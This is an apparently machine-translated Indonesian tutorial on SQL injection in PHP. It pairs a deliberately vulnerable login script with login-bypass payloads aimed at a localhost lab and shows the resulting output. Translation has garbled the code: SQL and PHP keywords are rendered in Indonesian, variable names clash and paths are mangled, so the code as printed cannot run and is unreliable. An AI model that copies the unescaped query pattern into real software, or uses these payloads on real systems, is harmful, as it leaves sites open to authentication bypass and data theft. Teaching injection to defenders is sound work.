Izinkan saya memberi Anda contoh terlebih dahulu untuk memahami kekhususan dan prinsip injeksi di bawah PHP. Tentu saja, contoh ini juga dapat memberi tahu Anda cara belajar membuat pernyataan SQL yang efektif.
Mari kita ambil contoh verifikasi pengguna. Pertama, buat database dan tabel data lalu masukkan record, sebagai berikut:
Kode PHP:
BUAT TABEL `pengguna` (
`userid` int(11) BUKAN NULL kenaikan_otomatis,
`nama pengguna` varchar(20) BUKAN NULL default '',
`kata sandi` varchar(20) BUKAN NULL default '',
KUNCI UTAMA (`userid`)
) TYPE=ISAM Saya AUTO_INCREMENT=3;
#
# Ekspor data dalam tabel `pengguna`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
Kode untuk memverifikasi file pengguna adalah sebagai berikut:
Kode PHP:
<?php
$namaserver = "localhost";
$namapengguna = "root";
$kata sandidb = "";
$dbname = "injeksi";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Koneksi database gagal");
$sql = "PILIH * DARI pengguna WHERE nama pengguna='$nama pengguna' DAN kata sandi='$kata sandi'";
$hasil = mysql_db_query($namadb, $sql);
$userinfo = mysql_fetch_array($hasil);
if (kosong($userinfo)){
gema "Gagal masuk";
} kalau tidak {
echo "Login berhasil";
}
echo "<p>Permintaan SQL:$sql<p>";
?>
Saat ini kami mengirimkan:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
dan akan mengembalikan:
Peringatan: mysql_fetch_array(): argumen yang diberikan bukan sumber daya hasil MySQL yang valid di F :wwwinjectionuser.php pada baris 13
Gagal masuk
Kueri SQL:PILIH * DARI pengguna WHERE nama pengguna='malaikat' atau 1=1' DAN kata sandi='
Peringatan PHP: mysql_fetch_array(): argumen yang diberikan bukan sumber hasil MySQL yang valid di F:wwwinjectionuser.php on line 13
Lihat? Setelah tanda kutip tunggal ditutup, tanda kutip tunggal berikut tidak dikomentari, sehingga tanda kutip tunggal tidak dipasangkan dengan benar. Oleh karena itu, terlihat bahwa pernyataan yang kami buat tidak memungkinkan Mysql untuk dieksekusi dengan benar dan perlu direstrukturisasi:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
Pada saat ini, "Login Berhasil" ditampilkan, menunjukkan bahwa itu berhasil. Atau kirimkan:
http://127.0.0.1/injection/user.php?nama pengguna=angel '/ *
http://127.0.0.1/injection/user.php?username=angel'%23
Ini akan mengomentari pernyataan berikut! Mari kita bicara tentang perbedaan antara kedua pengiriman ini. Kalimat pertama yang kami kirimkan menggunakan operasi logika. Bisa dikatakan sangat banyak digunakan di ASP. Kalimat kedua dan ketiga didasarkan pada karakteristik mysql. Mysql mendukung dua format komentar: /* dan #, jadi ketika kami mengirimkan, kami mengomentari kode berikut. Perlu dicatat bahwa karena masalah pengkodean, kami mengirimkan # masuk bilah alamat IE akan menjadi kosong, jadi ketika kita mengirimkan di bilah alamat, kita harus mengirimkan %23 sebelum menjadi #, dan berhasil dikomentari kuat dan fleksibel daripada ASP Lebih banyak lagi.